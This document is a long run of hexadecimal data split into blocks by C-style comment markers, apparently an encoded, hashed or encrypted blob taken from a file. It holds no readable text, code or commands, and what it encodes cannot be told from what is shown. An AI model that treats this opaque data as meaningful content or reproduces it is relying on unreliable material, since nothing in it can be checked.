0831b94375bc67ebf2314243a8fa0140f1c6385179ba09546bf52d2884fef779b72b2e500433cb472207aeb5ed7afd9a8819a2ccacdd5114b722de36fef21a42f5912f9d58555c698c72b63760e451e4e769703b159cb61a546df465f29248f617d15e8a7a41ea4532b3b026affb0fc8d3dc9551cd5efc0634af515820dc416454fcfa5dccf8c7aa5fb081f8741221b62e848b3a6db964c63df24af1cc339010bf4ade0c4b09d40792c2fc4f54a944719eb22131e32ad5efea33645196b33b17d13498f24ef073db48f2a108d882b240380948c5dc34b298cd1c2d1243e704300433fa4e9a4500e776231ba5289e2c808c02ebd913ff1374aa14e81ff313995063cb47b1b0e4185c41824e108af273391cc9e7e87f0d33ad35f7d68a1098062e956fc9681cbe64097d6b4ea693099c7ff6fec461bc566765b05a3242c8ace62c6e28c082b5e6bdcd9514c75513f7021141771c6e779715bad5e6b42520b8bafe8ce7e9f9dc0ef6fc47ee1c3efe572351eafd262b982b4f569fc4646e4807c2c8f453b0cf4c0084d98c7ca2ae50ae4254c48576694299ec83db16c7ae5aa99016caa546ae059affb262c84928edb9c04e453978c58de0bbd59713c926e5cc5aeb798a3de6f3c67e282bb5cf47f2557f2b65ad1848106c106ee7bf0bfbc8193c21de072978cab0b7e0310b07bfdbf040afbdaadfb4fe15270c62f2f5e282347286d1d8c5f75d29c2039850e771479251c36d739b902408726d*/
/*2b67227e3073223b1f0252dcbf676ea421483ef359e268829f35a97fee549abc6cf91e69dc5315599d3d43b39cd701684e35433845694e29d63b4fed4aca1709c0e0697a948c7a172610eac493b741d1adb5c66181a1a38e84aa7a50b56eca95ed8f5239628665497bca226f97f1e939b0dfa8f8304a0a3bc712b17d9e5d7bba2d10a7bdde7834c3b86961a0f4f597ce0ce16e19c8cfc36897bc520d201d67d420fe2ea6775f4ed8ac711cd48dee2863e20c98d73207ade14f6972697057e6b395131ba94da109d5e9db040d6022e402254b968a94213a0a3eb59a66ca01dc61ba77010de2eb0ec607768ad2edcf3c262e84a38730950c57252edeee593a9b7dd9e422e15be1b9c155b046f3b8e03a2fc02a0fc38fefbd360bf7172ddcfce5c45723d7ba417076bf9ed1d8b28620e7c71823921fb24d31e6a03097ac4e94c586270692f6237064b2781a8ac012d4c2fefcbe65940c30017320ceae9ee7d10d341047d5cc307b721bed38b06305094b35bab8018ade41e0e3ddaef38319ea99dd306ecffe67bf33770c9f2310c5da0d4714801a44638150d6be4318eb2bae58dba98203f8f13147446e1fcb93a06390816ec7ff63c064f3e6ef4378ea043c7044c34ddc295a2669a69ca44a2637d0dbed270b82a1925989a720ae5a5e6267356e64d31d9d2b285999ba20f853d497605abfc0bfd3f1dd6c89f25f90d7c2086e782b26bf3f26b26cb87db651ce55998cac46ae5c0780364daad6c314e5f2a2adf3e4ce68c353f5b0bd0cb3ce1efc398d8f126a5986fde741b42e128a7c5409b8715dd281120d20b72d21f2197d32d5b3ac501140a30cfd431782db73be98baf0eea67c677c46049ef0ae3f3f556b865b9c377a0af227ce432d9425cadb039fec9d4d530c50c1c791e760e754afd98b953193cb267dfea37940c92e409a19898e482d1eb18a2c70ce68c332fd287b61cac6e4dcac6017d3aaae372318d8000316567c37b48a340e78e681adeb8393e6092ea27effee055403c405fcea9a703638e9f105f9ba70c7ceca914dfd9639d21a3ac876f6e812847aa25b68285cb8f50e7c2c91f2c5deb71b6122fec8400da0c56b154da816742aa32015ae9f49a129f4ba7491e00f71c43212d01242bb519d1e3cf9c6fa2b441c486a0a86ff23d6dbfaa3fec7acae84399822c93b4a9d54c1102cf71dfc63aaba23db5934f1184714dae8219f7638cd6e5a0f5a12273cafab097a16b6b23c80bca702972ba2533f13d8dec9ebb2f0107620070129aeafde0ab79210571ada3d87f3396cb621f36aa85d09758bde3f5101e59966e0a8cac9e0dfad5d7df973ad6d90adff2dc4a5747e3b8abba736fc9c7c731017fa01fc69136c7ca2d6fd78d25b113408fc118df38f5bfce4de53f958a3e36e74e443bb876ab28fe73954db5a07e9c22fa83c18965c997d4ae1e0794779f9ed162182af898cabd6e94ab79e1c2cfbb6463bf55f3e8e59fe7fef0823bdb844d15e7447652985986bd5e3f52120028861e7a8e8ee507b5c36e3d81a531bd29b790945e15c58322c5ccc5c1bb478335801991acb39168ca749fd2806fddd22afecb5133a0a5d4a5c9a8a27f8c93b8336d46e26436bef81376b1d8d2fa39ad6da3f7120abb88e9a50b3219f239ca3718f6730d90a8cde73058ed91a786887a48976072ff6025cbb896414abedbc4e819eeb4c35959ef82d027ae8721b355f371f4751420fcea405ca5cb75fd0aaea85a723ea45f05403cf72c1ee0b7c7f00f047f6249b5d68a2de006c69059ca853e0ec43424ec19f49583afc6ed68c9dd00b55c5e9a1d5326cdf8346c10b8f1d1b7c68cd6467b3d0e26b7f0979f890a4656ee59ac8ebad5754a08c7469b86635fef04175a96b49d9464d85a0f56051acb43cbd8bbfb17024c955adcc3462963b0d6b8329ba71b88ff39fabab4c1a80e632eba2ea05cdc74f1ba769fe816f57a91827625c17743419e2db77ae278cc6446c9635739a5197d0745e5404527c0c2db2cd151894b7d1f5b01c923eb43724fbe39de59d7bf422553d287e641314def1858a64f8d3842530bc261b14a83c40664f3a48feee52bfa123ca231624db2e9fbae7b473f1fa540949555977762bcc9ece0bbc565199de34328ba9e21eeda049cbaca0fa517fbad3b49081a7f4bb038c8936d5c8a238ee227e945853cb1a5a87605fdad33b882d3bdfa96435145960b5561727d111b597c34befc8827d1729b6e5ec8685f61b3cd4fd3fb1de84304e0c5c776022334c033980d02ec2bdc23d02397edc171be8b949b77063c2d146510cda65d9701cfdc165cf25ff7b42997e8b1fab1e7185a26fce752b33ef340349d2a84bc78e7f3471ff93554e63dc498c2077bd9e221894db57fa6729892721993952e35a9f50b35995aed682fed9b0f15e2d0a8fa930246cf3f992f14cee0d90dfc6d4c2b1bccecd4e0e2e6fd95bf2a959ee656e65e7cc472df48269d692d59d223d19d97ac34dab11ab32cdeb69119481141b80ef8c355dde6e4e171f0fa0abfc483f69d0f8f34cf8ddff36854d714ddb0a1702996e98527f89a67520923b1047aac219765f759a5121def32cb1a5b8cc9dbe4394789df17decb68d806af82ef913ee7ab9bdf0a5a3d811c48aa2468f72e27812dcd13323629d9c0c829bee925415cb9d25e0f863b8df23d3a39e51481132e762ab6f3b02958b667c74073c5e7e3765cd427540461d0b15d5271fdf4a9d7bb2c6ee185e5dcd574c844f2288bf01e8ebfdb42b73301c3d08f04ed39ce2c60b4e6c55698e22156fe208418584a7993d9ed5f9d17c7b0c4ecf9a7c*/
/*c6ec386556395d5dd934e60a8da5ae09878fef602a4012eb936aff3103f82832a5eaddbc3b263cbc4fcf44857f926ff758bc31c30c8cf923711ba9896c70a5f8f78f7f2ed937a921ddd119465454239288b407870ab40f2cc4f9a11d18efeb6ec06560731370d5c62393d2cd87cd5e1d9593014942edee7af80893d7dd6aa1b858e5eb00a25528906b29b453c32fd334b007a0dcda85599bfe8ea7bd878d62a6dae1485dcd447c41b2196a5f3d5cb6b2cd41da75fb53bcd9b8f3811554866c791dd76b96bcdeae5ad33380b4f223c19337ae01d191084cea495ebde75cb14d6104386b80fe358702627a65a73f17e47d1b5ddd3eb256af589b8585cc291af6902863b64b3bb14573a2e5b1c7e472248bb9d75de46b0d6e231366b8dd6983c1c2a5a8f7e255d48f7c73e196344ff260e6ffa63526fc435e32af82097ef84e5d97d09fc32733d7589b7567f982130fb8db6b18e28d0a6980045409af35b2d29ba9abce5928f81923a37432c8bc5d6a918eab97df9f301b23c379120d6f9575be0a4d21ef663644ff5912b26248c28810df0a6a6fc6515b0f40a55103d4b1bbdf8b76842de3ebe90bccc56e2906e01fd322e340e796f2036933396b3e34c19b22bc8f3e28f723b356463bc82993f2110db6207af7c9242b255fa9f07caf6f57ad9e59b82b18e8dda903d1662a6f6b5908afcdbc0de2c398668a575dfc053df29f0582487a7496d494959858369be209c38ce4a0234beb60562874468f8f960ce8c1493bc7c63a909350ef2c0dcf613e78098a90aee86763834813f4548a5abea799f777edd97cd5ec87d59664ea6baeea8022908a0bd172ab75e799c1e7bfcda4b0f781da1846956c6236f89a8de4114953fd0a2510ccef5b9857b69ed441352b896f67e02d23e75331a8fb3dc0089ccedbd7632e6eed468e600b0260c8cd7616d37f0c0152a821a1792794fa550303243afe29dba20b856d7aaef986cfebe1613ca48a53d0d0c5169ebbf51490e6c26904dfced03f02ce509eff84176776b9ba73e0a0fee9c269f2600262c31c492c240bbb1cc1f9e7c8d86b74c26ae4e5becf309424c27cd315f685a243f1f063ca19419218e615574eb783fc0e1b2fe4f4d2cbd2cd7fc83c163b68591a470c4a6e809ada76f4fff622c9a5c78eae00ccab5a51615a8feb4eaf7d14248408e7bc92ecf2e66ddccd36ff8957547229e1eb68ed4dfafc6301a285f53bfd843a8d878401e01a0eb24280484a57fc6c00e8f8c42fef3e0874480892e01a04c6b354a02b8014518b30ab2844ac8715f3e4b8529dc237cb1555b9c1acccaa13e29cbbb1c03eb55ca50628dd5fabb70e1d657b590ec4843aa90baa8c9d92f9a4d92a3a71fe720aeb32895a7c938f4402043c7a88f67c241e42d601bb8f57948c79913871bddd2d15911b78fd2ff97d690641d1e7dbed4ddec462f27a821a693f31f394ef6c1454f16c239c18b3cbed6f3363f280fca63f31b1f39d876fede9f504ff4b19c6e2b1620762197f8048ec42b8ae2a874f752b1629a1e852d24f189f4cb1bbddb3bc337d19cecb009618e3b3bff7e453ad367930a05a92b1a826788e7c555d8fe116fd28a28960d2afa241691847cb9ef99210d6df1276f932538f417d1744ed600b0dd0d3f411263a7654213f9206ca9fa803c9af499b1426877e00a4340deec2090082990c8a6a6315ad26cf782cdf76a60fa404387c23bc12e6e49fdbd946360fc8ee5287c80e5b73cd227d93062e1a969fde11020958a1b79c9684f1347a792f7caf231c61d20b3e9ad875751ec007d2f968e7f351b3ff49a8e69b873ed6120f0123a602a818285c4ba0fb8b1aff57e737efa58dc2ababd15c9fb1cb97a4996154dc89eaa5e21fa8219d4e927f3e2825951318cf636c18f4472a36dedbfc9946dfecc8f32f62658e080173bb1c73bc203dbb98dbc01d4af881c5f95a235cf86f7a9f106330369d342e9908d183f24072258ccace424909b368eaaac2432467b65dd4468ad3008f7f66088b09152202765ed73d53d23598254315c78505c4f7b4dfeb73e21b83d7f85f88a2863c267328f33105f42c7699fb7be5eef08cc7efdaab5fe4711d1a6c8a59a1714111f5c28a2bf62b00cc7b26aa5e9312435c4b2e21752ebe027901ceea763cd3ddfe774e228ddf2475336ee128aff376dfa18f3bc439d6dc4dd94611a1ce336b9121c8f5751c952061eed1608e0168ee5104db70853f6c937225468d705a9c873aa3cab532b2a0967c121d005cf60ae461baece7f63a486367bbef465f44ca22d03e9540a4a14aa87ad84fcdf65931a5031f1d89d13b83f796272b1feeb3056f8d1fd790e11fc1e78c70bb03ce213b5362732e95e3a6471d7549dc7dcfc6ecd05948bf7a2180ab551b91178ddb815c28cdd9a740c21e1ef0994e9695a07e1136150e6371a2d16f34f93f6ec8f5952900fe54227951b5066f81b5e73ab4f88f11b093816e5a3932613b5f4953901029751d38bb3484d14439adb4e62c16d140747704f4f27831ba169d471b20569ea91986e0f2163983e295050fc078b87a11884b91abb9bd04143710424d77f4aaae36439e726df2d7701c4111f2d6ced719dec6940ae5b2d437555a2275462bf7dd33d185e3bf44989e93f3264207bae8e4ec9d94c342dd38fdaf04ba6625be29444a810d73aeb0665d85248f51b5d9640c6e99b3bdd249acb73ec9cd4f41baa502bfed163aeba048d8104495e10a7f274909fecb29d3d6c65c9f113c171b0a254e14067af2a6f8f9276dd4253d39c93bc00afcae1c93f1c62ff785514f2dd95a88709e3d21d8744a*/
/*bafe894bb989c99892df006c60cf9b88522daf9a3abf8182f717f2decd2c40bdbe053955080a29620a7b35a7f4816a5d45a8ece1403c96a00beff655eeabd4b80f7f1bdc69253e23e8870d92110c3400a616295da69f974b4a295c67eb84cef9c756e9d8212335f2e4a214e66ecebe94e9a7948212469a77ddfde0fdef80cd4055ca5ce5f59ba1cf62bc53648c6540b26742bb96b9967adb7888f4b9fc939abef7f340a7536d8e2219abdfeeba244cc557331cafa3d3a502d23676dcb27cf59d2ee6152a4c51d453bbf9fa580e12d0f9c31bd2dfa9994ac40e5733c016d96a13c00971ee9ee418a16cc35fc1a37c687c9d8b9587dcb6f04016ebe81544231c8012cca40fe2b7920b64049ba6f1480cd063aaa4bede40e2619df34d5ed15bab273031a84304a0e350bf3426f2917c592016381b38503f78e364534a7d9289e51609b9c4b3eaa7b59689c60d33dcc37630a2a6ecfb1da320687e22e972da77f034b1739328b03500ca404a5554fa3b1d25247a8c037d1eac7b7dd6c6acd6311c23c77844e3a0c592f71dcf34ea8ee5765dbcdd25cf80c12bfefc11936d6d73d68e14aa0259ff698cd9f6c598d5ec3fefd3f84edc2a3fdc6efb0761fcbde8f3dd19be1dce033351d7a06bfbe6fb6a1bc297bdad80a642b46d804eafe7bb944727ce90d2fccabc633878a97c39cc611828b86444f40189eaa977f862e1360c5d0d7bf82fe0a293167310f0a4b8162bd303cb68ae905147f8524ed03b92b2ac51a45b827f6dd5532528edf1aed1cb1b145d9cff50f8cf1a9bb54818dfee31e4ae633a58ae199a4c676b25d2b8ebbd02230c7fdb6440c0a1ec09b4b0970bef2a15896c358cdf9ae5c406f7c6457b68bc2f1613f5adae7ed3efc2c717e57f45d89a7d001e0e7caf41ddde4b01b37aaf8124baff8f9704bd4e910041bdcba026ca1bba0c74aa97f19cd02fbdd4ccd952e1300a26242dbcc49d512d4c952baf5ed4bdcc22f8e624030311f93c893f1720578d44f304ed15de9a517002bf018f3eea1fbf8fe04536d3ca3236b60c8ca9a8e50af5e1d131b623e0d517b78652b322f23fcc2657f865ab60aa951a1f56c7c583c1d3d30cc450a26dbc13014fad677dbc6ae317d267dbf19deb121c0a4ed3236d84dfa1ea8638124e96b3b7802add2d736ef408795a9660945bb64979c2778101fe48e143b2d22df3d9e5af773e3482a63f51d759671b2283a74f0fbdaae60595421eaa68d3530374c7f3ba7531e7375263f933e13f211f58e7e3cfbf81ebc88c415b3fc8303c541e42416d5f1f98c7ebd683d78405ccc0760e33371e15dc05fc41d9c235efb89023b7cfc4ae60896f4d31281a5012415fd37a81e2ce22016602b64eaab70fc435fcbbc64c893383a627d11169f2ea4885d4610fd139a1ebc4cb7f3a9b5b8815480188430125ea7c756f5282f0ece460d43d6c2b8680d6f0a5ee1a8c87b93e46618559ddd643c0b79c90ef7a0135c2ca802fdd4088f1f216bb99101fcde0a9dad7e85cd2ac1df3549dd4d8c2a17ddd691897d8b071e9ab6b6ed9bbf5b782d6c69939b17bf5a94991a798c6d3bf29213447de7b369a468de4b7c29a1cdaf5c60415c6dd2383131c8d0bed819ecd7bf0257682e78986a346fef26a78ffeaeaba03cca664ef13bbd68449d5f55ef0274049b58b0e4de3e828f5fafdde1f6cd8ffe842aaf29fbe82ea26ad2f34454e3c715b1800022faa1d2d6290d8414e96bd5f174f43e97dfd1c7e51c31d832f95ac8dd2e3705b94935696cb6cf625b2f61619461bc152c3e9cf2d687313ddc055cc87bc4f83e2dde0ec0e0c3d658b9b0583a65e54853e710ca3057530ef3397d833ee68ea1b27a31b1b649e0ef4b23893e59e55d2ac7a5c0431e62633bd9b823a63ea7bab0bd9a743e0b21be82bbf8ee515bd4e2e3af75384662c627fafd22aa47d3bd682187a1bff9963221404e9689793d06ca306470eb4d226efdb9fef8f952092b29b9f6cf5ea579cfb9ec87fca6f46121e0a243b3e2a4bb8190845709952f0b52653d241ecc91d200d3c05c19d05503e6cbc8ad4b3d166548296dfdb2c6f76bb33faf2d782474e29f658537703f41a00056c25fbcaab949cd9f750ef07ef7e9bc05f9dfa04ec85dbafc06a4a6499ac189988f867ccdbb55c1f306158e1728ec8ef064edcd46a8b3c8f9c292e788f709fd7fd625d062265c5bacb840e2ad0e6b2f200ba175028f61a4971c1c376cc0d8648840b94958b2f08adf342f5f7093016baee8833f1d05679a1cde9355ae4a966fd443fae82127503b3d3753ac1c31366e1d217a4d4865880e3d11f59327dbb342434edb167da20f6b72a632e3cccf6c8f1ed61bcc514e0866ff8ee356049258d169c99a1ecb60d1ca1fbf6019c4a6618e98ba533a4205633e1571e3e73fac1c79cf827c6af84f7789aef6f9cbaebec03e6e53efe772fb43d96a30e05786f9cd243c6588c9e683ef983b7e7bda26a8dd559de504e6e23b417a27f37a73812b1b53af15780a2cfb1d0f34e93127f1faee2fa64549fc6b1b3ba44616cbb972a930a95f0bf793d511c0e8911fbed98da86c883c30357e3e23c6e37576c73da1b81f9f669aaddddedf321466245ac29c8ef39014a9d4d4007226253fb785f621430d16920b8600f76a937b4e8945040bc165413b401ea33106fc885bfd50dfc101604665671219117eb13103391b30ab1fc573c3ed8fa1d8a125cecb7c1741309b44aaac35aec5ae64bac6f21bd6edcde03cc78328d1faffa1ce574f587028d884beda2c7f5f474d303c0f50b30b1735dfc3aec207698d31255965900c77ab995*/
/*e45fa80d04c665b21dde82d4f47f895a76aeb9b5bb3364b4371c0afe44a627182df7791791cc12f3375af27c269e08ce1f70d349c0c4b73e251202458fb055c373e44906a24a448fd5e849643269b7fe82335f21114d27e7d3d64bf574d204328e5771bdda19d3eef4a2a77a4dc96965d1617f7709c0dc5810d51f53634413d2ab59e529330a2b6e25a3750d9bcc5672f8039f9045504fc68b3a751c6749c2bb3c54c68c2c4d915d228273b608c889f43516575bf5b03f3126e005332df63c14be014daaafd1366e7b05f7450f0e0649576cc8832ea6e4ef3bb15675b767778a74d8e340be2ca845b722c5e2899598aa28c4bb6b3b2bb4a6c3e64dfc1c8c5476bb59564480cfc3fa6fd0d804cd3d439bc1adf5829073eef9a5073d60a32ebd81ad0683b3a71c9883fb4cbeaa3b5e9a68b98a8c83a17a01df6933c3c019cb4e2f04f3ce1f038f80ddd73ef7902234994ee142bb8af23a30c2b3a01b32bf47c4d9dc1a846c1b5e49b89b9b352121a153b936ee20fcfeac7106510c12bd732f11b188fd048bf1e3f9b4b6148a787cc931d7bf7a884e60dde7ac0bc2fe69bdb217a8768a82f34fe1fd782ae8080bbbebca40a3988ca13103855cded4523d383e53a7d9a775582a72e6a8df7a1867bc76473f01239e1871d2c026c79f91e46a448c39423de1f41ccf9882940f4a8ff01cc8c0748d58f7a8482783f0c86e4d6c561dddbe52c1f6e47f510b6871fe717a3e2887e756866992874462d82f7b4ad8b82e02b2cda48b6543a19cf0435b4250185b004792c4bc8a78cd78aa67d969916e1ad41a25d88703af26cea1e102802b06120958cf5ca66e24be2d419ce72e73c6560de59167a87d693403732dd28ee8517d2dd4234afd8f09122e34d9eda10e189710863ab3299673be9b7cc3682e85ebee987fe8c020dc768c0a31c8581e86bf23966107bef038451067d7d660085628bd24143b935f470ce0211d6d315cc4164eaf225b594f93c0425b08e9989e92c59927f6c907a19e6f4626c0853ed5ddfbb8990a3d5fbe688f35d3816da61e4580b0d87693bb638f75dd857b88a5e0b24a7b4e6f0f24c698cbe451a9712d6f7bee9e14b62e1383c211a68167391411fa4e2d75a5badb3ad7128a94cb9bd5fb25df086f64b9b7ec73532dc4a02f420e04029ebd3a7d7a3e5a2772cec713c0676d2b638be27aa6ab80e18e4e7ed2165f13d83a6bc6f22463716ecec7a6a494859410b2a95cfbf49ade61a365861bd244d0aafa534a2c2979607d6369c62a98437ff1fc04db9bff58d166919fea6a904554311916a92566522a50d21ab4a14f4ccc762dabc79c8bc0eb671a65282d4e3ffb20b9376372d189eaefb63a2faa0c0b827cfcea9d945ada72867b834aaf40f3dcd832b19607621420d2a1c8cc7ac8d5cecc85efb5504acd0347491e3469d4d9b33b75c6389117621c6f230f1bbe1c0a36e5756c596be96f9bb246f6cb2d405327b01fe1130c0fa60aefb9ba4f8808217bf47d3c901f045062a11aa636693bd1776ea937d57b404b149166fdc2a74b956f1786b606ade350e84b99a1a359805368a8ea48447f0fee6adc71149b8ba629f08474258920371032cc37b2adee071ae895f1f6007fb56db05130872f985764da89796dddde7e1efdedd8639b5aba5802613aea30f18271986cfa74f4e6a292ef966192e6ee25f9c72b06e4a545adfc280cb63b89608e8925f02e1e25bdde3d651141e5415b8bf435ea9f28f990da072509f58ae6543828231022d93cbaa42575052583979212a0d78737f5a2ada076ded7d64a67138ef1c545f4b1124c27f3e607d20403ad502a55d117f2728e910ebf69034fd29d60e787412f28e7a3171511c72aa002b49dd243d6137b7950e0cbea7c36dd76afa02969e6a4239588f1d2b223a395cefecee9b9653ca4901d730d2bbd7fcbdb64bfdcd726023a37bb661a6e9a9772f46f3c90ff87cf0d68431c0f15e3295bab05dca1f0e5c85e78ba5e8d8a75109f6620a07701953efb6367eb1941e57de7d7ece22063685a4a13ef232ce8ed2242fc96c7a6e0b682a00201ea258a17cdbe86f6ee7f987d323777d72f88532f359be95ee7ac5262add940c6b81fa7c5214a79c039cac40b5338d551bd8f5fee4a7ccf11de899576a2d5e85cac64ff8a5ecef5a9ac857aa6db941c94e7e45ce247c485b0b97869500ceb84e144c6cb1a71afd8bbe32bcf7ed79e69f7fa7dbeb11b40f52ffb10c34c788058647453b3e48404df0dfb38012875bd59c4ab2dd005ec037fb09d622b1e3ab233d0d9bbb146b1d395efd7ca8c6c975982ad8ef1f2e0120e7d62515ab2b21aae803a07ca9acaa9bf4947176cef97e223f5c98cdbe4cc9c490d77658f037ae8265fc4880072b3a645c3ab6685d08c797cf5560885283fe73f2cc57afe709ecdaffc384b67a28d041703fc56c314dfe3064b9f875358bb30892c0937d431213834f775fac4dfcb221ac71bf8d1c576c9b0b29b84313de93dcb27a308a68e05d21fb0b8e17d9043c661b617d8f800f3d347e425c578e1a90467d722654c2e470ec822e8b39c2129bc227bfacbf4dea9a24842658a82457c6842e491f7d108881a9f2e726b862e0f92d9dde0af4b116dbb19bbf0f34fa83f4cf97750c8087c813d92f48bdc9b805d710067f17c9d1cd2b427ad87e7f16e104e8b876ea9debf34c4eb999ca665d4a525a7f5ffd8db481d4b9f0a224af4fcae0ef3911aaadc0f05d93ba61529989a709d98b00b0e4241c6b5b2d8ba25a615daac014a870611f982afaa58cbf614d551652f414f902558375a0db6e77fd3af5c9c15*/
/*e57228fd6714f8d6bc5ead8cf260f19aa72ebdd92b4d9bf909306d079dd59a4ef5261624d42cd38cea6f89361e00b43f6e357cc0608fb652d5b56b42dbf19755697425e750259eb3d1b4c008fd34883ebc088e17923b2b048cf5aa44c8af21c26f84c12c22ad2a62cb1754f989a3cf0d28ac57ff4cf7be82a249782621a5cf12ac0e26d18d89657cdcc454f417e5f9b6f78cf728c3b4efd15e7c021195f9e0ad92ae10643840faccae9fa72b01804fa85f37ba8adfca5ba4feb81fb0cf7483908a6f1f012b08f66f9100e8f272b4508ecf854d451fc8c6d935fd9d25566f3321f81666b4fdb91168d750b0f3d4860a9d0e2d10e818301e16dbaf8d6c81283b7e1c935f5f775068bec402b467b53f08b51190c40374a6fcfa871532f9624c4d0003093aa4bc5f68b3dda43a00d5ddf49743bbd82d6b31c1cfc8b4c54655ac2d859341f116f4edaceef03dad5a7ca7ecff8c4b17cb6cddd344ce32484c6c174bd70f02062b18c773414f216add98b03345b8bf092ead1a9154a7ec3bb19aa538a649567cbb9c75df372df7186e19c5d339d34adc9a0b117e5d5106d7f3148036e68610f8213575b8c69dde8a46df136a300ed5a9cb3e33e324757a6109a6c31ac598babd00e23f11a176fc89ff2a659ca361d314ca02229774b358ac9486186461ea56025b770a859834ecb8dc8b10dfd5200dde4e903089e8d24f5a8deb2104d4f2834ad8fbbb1b44593327c11a5d23bff39bddf937fa3d36317b221e8b902a57b2be3aa2517e13359361edb83e5a99ae3d53f0a7ecdcd3b2199a1c29d1f0abab75f29aa0dec0459331335dffbf79065cd7c81ae7744b40b7b8d6bba7a181e1eac59a53c261af66594f619b0953575f37b72b1b2b6546fcf80b60abfcdfe057368a92b1ac2ab181def56d14b76feec8901148cae65b2963908192cbae32528026878505d5f5776aab680dd65c67be8f4372750d35825c42ea5692a3716e22e86d5ad731c68aa0aecdc00859f1bb0ee777667ee81d51a860da820e73b8d95cb7430b8e7ac91cab428ddb2f8e46a34ecfc79c40ee8f603543a7872913afa9a5d3fdc73ccd0f486a080f68ddb71bce168460790e2c8a1736f8b33d39b62f3621061f251569dc2e8abc322ab3017413c7c0393612982b75554a0134dc54ec0bdc490c02f96e0058d015ec4242d92767bf4476e9f22be2562dd8f18d613b575f0cb3e4139a6b549d66d35aae61dfea0a9e2bf52437c2b5b1213eb57a6acf82e907a20e1d0b0a611ac9c0a2b3aaefc71f888e793be11f213f3c6f28344a8ff512648541018e437e5c24ac3dfbe5f21da992741095d3a7d415bb1d8ede13b8658edc8816279714ab4efe42371d16a6cf323e12244e2d6b7376596a26c353f530d5f8bdc8fe1c844de48d111a8985908baeb8a8147dfdb0f9c25e019563a429b1b856ee4566a9a6b85fb2ac66824df6eff892a20985dd3abf1de22a4da56aeea816036f2c96cd094cd9a0af1f318a9fcf8a277e6d7f644d7a996e54197a3d24b1a8138344507fc87a9e9e7d7b29b56a64fdcdf4f4d9c260d29072c14dac4d62a7063f1eaf27ca393edbcc3382f714b539e98b818eb2ebb2ee28ad4096aa49bf4c99c5f5c7945d62f621fb5c02dde37acb8c1ff6b7a138c59dc7e971588b1107cd41068c996d1276de5cb8e5d5baaa5a4774dea898de681bfdae7aae16011dadc12461a2b0f904758a016c33f06d8bf93b2d5bd6620005c71912a08808c97886da50519fe4b69ebc4d965de62487a4aec73ce828473f06ec53094b0170382a5c8928c2f96cf6fde939db5b7184a67ad181418c5c7d193b7d3a5a19a799d27c99bc6d3205707df1fe47ce3ddfc59d1759b8ab14f212d4026b8fddfff746646c87e4ff210b149b910c24f4df506abdb28a4d2afac721a8260376e10c638556e6f251640a6ceffef04bb4b9d97dccd60a86087a831dc8dcd5f484246040a6fdfc060ecd9c3b9e82fedf8ac24c4b3da10ec2347a393cb7d9a2cf452c9d1ae793f923bd5d23902a43a5e6211050f4f95cf14606630e5f52aba0909b2ecfc077e25e02293c6e6c031a6ea684ba6a46117fe2b7f1d58fa0bee1b15e58dd63d40e8459381918b0b72f4acb92fdda07abcd030cb14f8dd0de9bdf6a92ef7e52c524a4f251db6950ce149b8eedbae2e141f846510e8b1430912adc10262d22248d1c1b57bc59661f9b85b474826c8f0ca982bb8e34eb8f2af3de39713ad776a1f28a87148fb08bd63ff1de56aaddbf4e069084c7e9e1b9a30432a213c1e3ea3f7dbfaa7acd457e9ca11fd1850649dff7d3fdbf6f4161b41072e5fb2f93e11af12395da7ecf66f69412da3daf8ad309521055225f069ae2b74fda0f24b1c90908c31c0256792d7afa4e2a7648cd2c6c3730d0b0e9df485e7137a57e3e1bc1951139ec1754d691f7dbe3e9afd04a228c9ff2c710e03ac2ae15c4dd0652c3fd6b7cdb827cdc20f3a5e6c0d4f557b27ffa2b520b68b7c62967e3a89b68f0d9e6a36ce33be52cd12d25dbbffa6d7ea5f0d56a1701a6ae5d46c1541d60f17b9f33be2a5b7c0e295fac03232c5308d7644032528a6e7c13aa65c0b312cae4a7dcc367e46b09d822086570fd961ec492b44e38384108eea7a4feb64676777e84d6d21901a1b617f55d6226cfa4ace0239c73f51e6a7df1ad2d8f5cb8ea8c949209471023102ee19680b7ed1759418c16a6970a7cb745cbf70cfebfc50616233154e5fce672a2dac483d49c24a2ad1394c6856ed4bbec0a0ab9637db43b133bcbfec35ccd9d7a438b340c1bad1f61840ed490bb2dad1a693317c8faf330ed*/
/*06b02f4b47222abe8cfb90916bc82775ac59e2648ca62155e7f189f182ba9f3dec6695b1f77919d8bed676e26435b48ce312004431abb70daf064be62525a48ca2b02828de1d43538e8864bda516c97dc3e07b8cedca5e2b8f9658b4e4bfff7280dcb491bf93df89bdbd7a149e8213fc45ce7c85530c79ab1bf4ac7500635e4c378296282bac09d04426be22d614579c377db8ad1534fc2ca426e6652907d7ed52cdf7ede16710959344303507a6d322d3130a0d75ffec1ef9773ae7127f3b2bb6748b2a0b7390c982283c6b7bbfb0fccb68be3ab85b4d8282c21ae0cc3ad610dade2bc991c46fd7239d4690afe3103ebe3027c77db20e775ed0a4a23108f679869c1ae1f83e1ff99c0e6d7d1f413e60b61ed20426ef68f749de20d6ae986a56f95cc9bdec406cd4b57de7c02b0662863321159da4127f2afc7d1e2d78a773377e3be6aa6217bd0efeec801b3c0a28d2047088b009aa5603179a6e99363a9d5ec30920e226666947d562266f60cd2839d092d339a6f3089ebe56b2fafbb8f40adcd43ad8402781157bc6935868d043c119dccab63827e88d3c7a6cb2cb56930f52fc181fc9e028329ac32e4681e48fd90390a1b647c6f564fb10517780fc0b6693f3c5a0b0b73f524578fa6128507c52d4d7e14b9d8239c77f767d6385e22246097e5148b588e5a71b354a188e6f38bcd26197adb8ab019f9e11f29a67455d0a08633bd1b987a412da4aa7cef7e51d6edca66e23aa5f7c9ba9b701c8cb4a5b9be0fd04f84779efb996b595da7013b9b895e9c38df2acc2e2ee6c0073260d3aeeb09693fa0a2273b25bc599f49682d3afa14e68af9b5aeb1322ad2de04178d12462a1b786971fc1f1ab61c3c51941afef895af86b7cf2bee2e260d539275aec13dfd111e0931aaded2d2f0cec921b337ff5c100c209c481ce8d986ca63699368ebf42f36ade5545abc0e00efaf8fd00a6862cf2d4b78fa84694e69087aa9b527f06baa2d1db669a38742ba350e8f2b9bdfc26db24afe435650fd577e324d79cb98601de6f08b6cdf389be18e518681dc9b9c4a279b3d596376ad42919e37cfa7fc514a0f7713e0e9224286bfd8d4e8e0d153c4a9e4b9e06edc1a0a9eb4b61764d52ec65c49bdc298813671a0dbdc9ce2be92e66cec2f415ec1b4e150b6474ca94512f3a2e04d32467817cacc8172ab93e00278e686b5659611496e040c15b2725931e18d71217565d87a6c60bd807879e356d15ed2dd10984bccc359420a8b93d1e8bd17928d54a3ea8ed949a9bacb0c84dee710ea6e06cdd28110754eb1e53eb0e470f1bf3ee4f8d8fea4